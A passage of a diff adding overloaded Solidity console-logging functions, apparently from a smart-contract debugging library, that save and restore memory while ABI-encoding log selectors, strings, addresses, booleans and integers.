+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,address,address)`.
+            mstore(0x00, 0x5ea2b7ae)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,address,bool)`.
+            mstore(0x00, 0x82112a42)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,address,uint256)`.
+            mstore(0x00, 0x4f04fdc6)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,uint256,address,string)`.
+            mstore(0x00, 0x9ffb2f93)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,bool,address)`.
+            mstore(0x00, 0xe0e95b98)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,bool,bool)`.
+            mstore(0x00, 0x354c36d6)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,bool,uint256)`.
+            mstore(0x00, 0xe41b6f6f)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,uint256,bool,string)`.
+            mstore(0x00, 0xabf73a98)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,uint256,address)`.
+            mstore(0x00, 0xe21de278)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,uint256,bool)`.
+            mstore(0x00, 0x7626db92)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,uint256,uint256,uint256)`.
+            mstore(0x00, 0xa7a87853)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,uint256,uint256,string)`.
+            mstore(0x00, 0x854b3496)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,uint256,string,address)`.
+            mstore(0x00, 0x7c4632a4)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,uint256,string,bool)`.
+            mstore(0x00, 0x7d24491d)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,uint256,string,uint256)`.
+            mstore(0x00, 0xc67ea9d1)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,uint256,string,string)`.
+            mstore(0x00, 0x5ab84e1f)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,address,address)`.
+            mstore(0x00, 0x439c7bef)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,address,bool)`.
+            mstore(0x00, 0x5ccd4e37)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,address,uint256)`.
+            mstore(0x00, 0x7cc3c607)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,string,address,string)`.
+            mstore(0x00, 0xeb1bff80)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,string,bool,address)`.
+            mstore(0x00, 0xc371c7db)
+            mstore(0x20, 0x80)
+            mstore(0x40, 0xc0)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p1)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bytes32 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
